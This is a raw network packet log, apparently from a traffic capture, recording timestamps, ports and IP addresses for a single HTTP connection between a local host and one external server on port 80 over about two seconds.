Aug 30, 2024 18:12:59.703859091 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703871012 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703881025 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703891039 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703900099 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703910112 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.703910112 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703924894 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703926086 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.703936100 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703946114 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.703947067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703960896 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703970909 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.703972101 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.703988075 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.704009056 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.704025984 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.704401970 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.704412937 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.704422951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.704459906 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.704473019 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.704550028 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.704561949 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.704582930 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.704593897 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.704595089 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.704605103 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.704615116 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.704617023 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.704624891 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.704627037 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.704637051 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.704648018 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.704649925 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.704659939 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.704678059 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.704684973 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.704698086 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.749542952 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.749568939 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.749579906 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.749615908 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.749644995 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.749717951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.749728918 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.749739885 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.749777079 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.749803066 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.749855995 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.749907017 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.775358915 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.775372028 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.775382996 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.775404930 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.775433064 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.775492907 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.775533915 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.775543928 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.775557041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.775585890 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.775738001 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.775789022 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.775820971 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.775831938 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.775844097 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.775854111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.775865078 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.775872946 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.775892019 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.775917053 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.776083946 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.776097059 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.776139021 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.776150942 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.784857035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.784876108 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.784909010 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.784934998 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.784948111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.784995079 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.785080910 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.785125971 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.785129070 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.785141945 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.785167933 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.785183907 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.785336018 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.785347939 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.785357952 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.785367966 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.785379887 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.785398006 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.785415888 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.785594940 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.785607100 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.785618067 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.785645962 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.785674095 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.785754919 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.785798073 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.785865068 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.785876036 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.785886049 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.785897017 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.785919905 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.785929918 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.785947084 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.785974979 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.786149025 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.786159992 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.786169052 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.786180019 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.786191940 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.786201000 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.786209106 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.786220074 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.786222935 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.786231041 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.786242008 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.786242962 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.786252022 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.786273956 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.786300898 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.787533998 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.787552118 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.787563086 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.787571907 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.787581921 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.787591934 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.787592888 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.787606001 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.787616968 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.787620068 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.787627935 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.787637949 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.787652969 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.787656069 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.787663937 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.787674904 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.787679911 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.787684917 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.787692070 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.787697077 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.787728071 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.787750959 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.789171934 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.789233923 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.789244890 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.789256096 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.789283037 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.789294958 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.789357901 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.789371014 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.789407015 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.789418936 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.789493084 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.789504051 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.789514065 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.789526939 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.789542913 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.789575100 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.789747000 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.789757967 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.789767981 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.789778948 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.789789915 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.789798021 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.789803028 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.789829016 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.789839983 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.790123940 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.790134907 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.790147066 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.790157080 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.790168047 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.790174007 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.790196896 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.790219069 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.790355921 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.790406942 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.790411949 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.790419102 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.790430069 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.790442944 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.790463924 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.790529013 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.790577888 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.790637970 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.790648937 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.790658951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.790671110 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.790683031 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.790687084 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.790714025 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.790725946 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.790929079 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.790946960 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.790956974 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.790966988 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.790977001 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.790980101 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.790987968 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.790998936 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.791002035 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.791009903 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.791023016 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.791032076 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.791033030 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.791044950 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.791062117 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.791085958 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.814699888 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.814733982 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:12:59.819554090 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.819566011 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.819574118 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.819591999 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:12:59.819601059 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:00.103920937 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:00.104160070 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:00.179212093 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:00.179234028 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:00.184077024 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:00.184088945 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:00.184108973 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:00.511440039 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:00.511501074 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:00.522536993 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:00.527339935 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:00.713743925 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:00.713846922 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.007648945 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.012573004 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.190079927 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.190156937 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.322590113 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.327526093 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.497039080 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.497056007 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.497066975 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.497134924 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.497147083 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.497163057 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.497251034 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.497251034 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.497251034 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.497603893 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.497652054 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.497661114 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.497673035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.497701883 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.497714043 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.497827053 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.497838974 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.497848988 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.497859001 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.497870922 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.497905016 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.498109102 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.498126984 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.498136997 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.498147011 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.498152018 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.498158932 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.498168945 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.498182058 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.498186111 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.498198032 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.498208046 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.498209000 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.498224020 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.498254061 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.498795033 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.498805046 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.498814106 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.498822927 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.498835087 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.498838902 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.498847961 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.498866081 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.498898983 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.499094009 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.499103069 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.499111891 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.499120951 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.499129057 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.499138117 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.499139071 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.499147892 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.499154091 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.499174118 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.499185085 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.499596119 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.499610901 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.499622107 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.499631882 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.499638081 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.499641895 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.499654055 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.499661922 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.499664068 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.499675035 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.499685049 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.499692917 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.499696970 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.499702930 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.499713898 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.499716043 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.499723911 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.499731064 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.499736071 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.499766111 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.499794006 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.500391960 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.500402927 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.500412941 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.500422955 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.500432014 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.500432968 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.500443935 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.500453949 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.500457048 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.500468016 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.500492096 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.500503063 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.577586889 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.577642918 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.577653885 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:13:01.577671051 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.577693939 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:13:01.577697039 CEST	80	49733	193.176.190.41	192.168.2.4
